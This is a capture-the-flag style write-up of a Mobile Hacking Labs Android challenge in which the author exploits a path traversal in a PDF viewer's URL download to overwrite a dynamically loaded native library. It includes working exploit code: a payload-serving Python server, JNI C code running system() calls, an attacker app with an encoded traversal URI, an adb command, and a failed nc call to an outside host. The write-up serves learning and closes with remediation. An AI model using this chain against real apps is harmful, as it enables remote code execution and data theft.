During my preparation for eMAPT, I came across Mobile Hacking Labs - and their free hacking labs which I felt would help me for practice. So I decided to give it a try starting with the ‘Document Viewer’ challenge. Getting right into the problem.
The do give out some solid hints & right direction in the problem statement.
- Your target is an Android application with a feature to open PDFs from HTTP/HTTPS URLs
They give clear instruction with the methodology:
- Use reverse engineering tools to analyze the application's code and understand how it processes URLs.
- Identify the path traversal vulnerability and determine how to exploit it.
- Craft a malicious payload that leverages the dynamic code loading capability.
- Achieve remote code execution on the device running the application by executing the payload.
Checking out app functionality
I downloaded the app from Corellium and ran it in my local Genymotion
because of the free Corellium credits running out.
The app looks like a PDF viewer.
Tried opening PDF files with it.
Hooked on to logcat for debug information from the emulator
adb logcat
I happened to spot this interesting error:
It says ‘open failed’ - while trying to open libdocviewer_pro.so
Reversing the app
I used https://github.com/APKLab/APKLab
in vs-code for quick reversing. It orchestrates reversing the APK as well as Java code.
Analysing manifest file
AndroidManifest.xml has the ‘exported’Activity ‘MainActivity’ with few intents registered with it.
The app is capable of handling android.intent.action.VIEW
action which means it can be used for opening files.
There’s also hint on different schemes it support - file
, http
, and https
. The mime type of file it can handle is application/pdf
The manifest file has more sections - a provider
and receiver
also that’s defined there. I didn’t quite understand the purpose of that. ChatGPT said it’s something related to managing initialisation, and performing benchmarks - probably this is some debug stuff.
Trying out the intent functionality
After checking manifest, and also from the challenge hints, its clear that the app has more functionality - apart from what a normal user installed the app can perform.
For triggering the http://
handler of the app, I fired up an Android Studio project, and created an app for calling the ‘Document Viewer’ intent.
Now it’s time to inspect the reversed code.
Analysing reversed logic
APKLab had taken care of decompiling the app and the Java code into respective folders.
[MainActivity.java](http://MainActivity.java)
had the following interesting code.
There’s a loadProLibrary()
function that gets executed after handleIntent()
which probably handles the intent calls. Let’s look more into the most interesting one first - loadProLibrary()
So, this is the one which threw the error about ‘library not found’. It basically tries to load the library libdocviewer_pro.so
from application’s getFilesDir() + "native-libraries/" + abi
folder which was displayed in the error as /data/user/0/com.mobilehackinglab.documentviewer/files/native-libraries/x86/libdocviewer_pro.so
So, there’s code being loaded dynamically and executed. If we can somehow manage to replace the file libdocviewer_pro.so
we can get code execution.
We need to further investigate into how http://
files are being handled during intent call. The hint from problem statement is to focus on file downloaded over network. Let’s look at the handleIntent()
function.
Above function handles all android.intent.action.VIEW
intents. Nothing mush interesting here other than call to CopyUtil.Companion.copyFileFromUri()
. Vs-code search is very handy for finding the function.
CopyUtil
related logic was split into multiple files CopyUtil$Companion$copyFileFromUri$1.java
, [CopyUtil.java](http://CopyUtil.java)
by the decompiler. The following logic handles file://
protocols and http://
separately.
Connection is made to the given URL and file is downloaded and save to storage. If we need to get anything done, we’ll have to be able to control this.$outFile
- the filename.
File name is decided by the function which invokes CopyUtil$Companion$copyFileFromUri$1()
. Over to there.
It’s clear that the above function parses the URL. It takes the getLastPathSegment()
of the URL and uses that as file name. If that happens to be null - say for URL like [http://attacker.com/](http://attacker.com/downloadpdf)
a default filename download.pdf
is used.
After trial-and-error I discovered that ‘Last Path segment’ is the value that comes after /
in the URL.
Say, for [http://attacker.com/file.pdf](http://attacker.com/file.pdf)
, file.pdf
is the ‘Last path segment’.
Here the possibility to get a path traversal depends on three things :
-
getLastPathSegment()
ignoring url-encoded form of/
which is%2F
which would allow us to crunch in a path traversal string. -
new File(file, lastPathSegment)
should be processing encoded file name inlastPathSegment
after decoding - otherwise this might result in a file with literally the name..%2fpayload.pdf
on the disk. -
new File(file, lastPathSegment)
should allow path traversal.Which means
new File("/storage/emulated/0/Downloads/folder/../../file.pdf")
should actually be able to create a file in/storage/emulated/0/
.
Validating behaviour of ‘getLastPathSegment()’ and ‘new File()’
Back to Android Studio for validating this.
From logcat:
Conditions (1), (2) and (3) are thus validated.
-
and 2.
getLastPathSegment()
does url-decoding - but parses the string after the un-encoded/
. This is crazy 🤑 !! -
new File()
allows path traversal.
Now it’s good to go for exploitation.
It was good to understand the root cause of
HTTP server to deliver payload
from http.server import HTTPServer, BaseHTTPRequestHandler
file = open('../libs/x86/libmyexploit.so', 'rb')
data = file.read()
class SimpleHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-length', str(len(data)))
self.end_headers()
self.wfile.write(data)
self.end_headers()
httpd = HTTPServer(('', 80), SimpleHTTPRequestHandler)
httpd.serve_forever()
Compiling the exploit .so library
While I knew that Android has NDK for making use of C/C++ code along with Java. I’ve never done this before. Alright, this challenge is pushing me to learn that bit.
- Downloading NDK from Android
- Creating
exploit.c
in a folder within my Android Studio project. It executes throughJNI_OnLoad
which is executed every time a.so
file is loaded.
#include <jni.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
JNIEXPORT jint JNI_OnLoad(JavaVM* vm, void* reserved) {
if (fork() == 0) {
system("touch /data/user/0/com.mobilehackinglab.documentviewer/hacked");
}
return JNI_VERSION_1_6;
}
JNIEXPORT void JNICALL Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures
(JNIEnv *env, jobject thisObj) {
if (fork() == 0) {
system("touch /data/user/0/com.mobilehackinglab.documentviewer/hacked2");
}
return;
}
Just the function Java_com_mobilehackinglab_documentviewer_MainActivity_initProFeatures
is sufficient for the RCE. If there was a scenario where the function initProFeatures()
was not invoked then JNI_OnLoad
can trigger the exploit during library load itself.
- Creating
[Android.mk](http://Android.mk)
in the same folder. NDK will build it file namedlibmyexploit.so
.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := myexploit
LOCAL_SRC_FILES := exploit.c
include $(BUILD_SHARED_LIBRARY)
cd
into code directory and callndk-build
. The.so
files for different architectures will be compiled and saved withinlibs
. (hacky way of course 😛)
Android NDK: APP_PLATFORM not set. Defaulting to minimum supported version android-21.
[arm64-v8a] Compile : myexploit <= exploit.c
[arm64-v8a] SharedLibrary : libmyexploit.so
[arm64-v8a] Install : libmyexploit.so => libs/arm64-v8a/libmyexploit.so
[armeabi-v7a] Compile thumb : myexploit <= exploit.c
[armeabi-v7a] SharedLibrary : libmyexploit.so
[armeabi-v7a] Install : libmyexploit.so => libs/armeabi-v7a/libmyexploit.so
[x86] Compile : myexploit <= exploit.c
[x86] SharedLibrary : libmyexploit.so
[x86] Install : libmyexploit.so => libs/x86/libmyexploit.so
[x86_64] Compile : myexploit <= exploit.c
[x86_64] SharedLibrary : libmyexploit.so
[x86_64] Install : libmyexploit.so => libs/x86_64/libmyexploit.so
Directory structure (some folders are truncated):
.
├── build
│ ├── ...
├── build.gradle
├── jni
│ ├── Android.mk
│ └── exploit.c
├── libs
│ ├── arm64-v8a
│ │ └── libmyexploit.so
│ ├── armeabi-v7a
│ │ └── libmyexploit.so
│ ├── x86
│ │ └── libmyexploit.so
│ └── x86_64
│ └── libmyexploit.so
└── src
├── main
│ ├── AndroidManifest.xml
│ ├── java
│ └── res
Execution of exploit app.
Exploit app is built using Android Studio
[MainActivity.java](http://MainActivity.java)
of the malicious app :
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
String ATTACKER_SERVER = "http://192.168.240.57";
String targetPackageName = "com.mobilehackinglab.documentviewer";
String targetActivityName = "com.mobilehackinglab.documentviewer.MainActivity";
Uri uri = Uri.parse(ATTACKER_SERVER + "/..%2f..%2f..%2f..%2f..%2fdata%2fuser%2f0%2fcom.mobilehackinglab.documentviewer%2ffiles%2fnative-libraries%2fx86%2flibdocviewer_pro.so");
android.content.Intent intent = new android.content.Intent(Intent.ACTION_VIEW);
intent.setDataAndType(uri, "application/pdf");
ComponentName componentName = new ComponentName(targetPackageName, targetActivityName);
intent.addFlags(android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK | android.content.Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_RESET_TASK_IF_NEEDED);
intent.setComponent(componentName);
startActivity(intent);
}
}
The invocation of malicious app causes an intent trigger to invoke ‘Document Viewer’ and download the exploit from server running at [http://192.168.240.57](http://192.168.240.57)
.
The victim app needs to be closed and opened again once for the exploit to trigger. the exploit triggered causes creation of two files hacked
and hacked2
within /data/user/0/com.mobilehackinglab.documentviewer
. Yes it needs two invocations 😒.
Directory of ‘Document Viewer` :
Easier way for testing intents - am :
It’s later I came across am
- a cli tool within android which help with launching intents - with any payload. No need of writing custom code for testing intent invocation.
adb shell am start -n com.mobilehackinglab.documentviewer/.MainActivity -a android.intent.action.VIEW -d "http://144.24.141.230/..%2f..%2f..%2f..%2f..%2fdata%2fuser%2f0%2fcom.mobilehackinglab.documentviewer%2ffiles%2fnative-libraries%2farm64-v8a%2flibdocviewer_pro.so"
Avoiding 2 invocations : I’m not really sure about why the exploit didn’t work for the first invocation of the app itself, even though loadProLibrary()
is invoked after handleIntent()
Post-exploitation : this is something I still need to figure out. About what all an attacker can possibly do if there’s an RCE. How can I perform data ex-filtration?
When I was trying to get a connection to a server using nc
in toybox
I from the context of the app user I was getting permission error.
$ id
uid=10072(u0_a72) gid=10072(u0_a72) groups=10072(u0_a72),9997(everybody),50072(all_a72)
$ toybox nc 192.168.240.57 6666
nc: socket 1 0: Permission denied
Exit code: 1
Remediation of Bug: the bug could be possibly remediated by making it impossible to perform a path traversal.
One way to remediate is to sanitize the filename before invoking Uri.**getLastPathSegment()
.** Another technique would be to completely avoid the filenames originating from user side. Generating unique and random usernames for each file will remediate.
This lab is indeed close to real-life.
Found a similar bug bounty write-up.
Evernote Android RCE : https://hackerone.com/reports/1377748
Thanks for Mobile Hacking Labs for creating the labs, and putting it out there for free.
The Exploit development course looks really cool, but price is expensive or me right now.
Reference:
Android advisory about path traversal : https://developer.android.com/privacy-and-security/risks/path-traversal
Compiling Native code for Android : https://www3.ntu.edu.sg/home/ehchua/programming/android/Android_NDK.html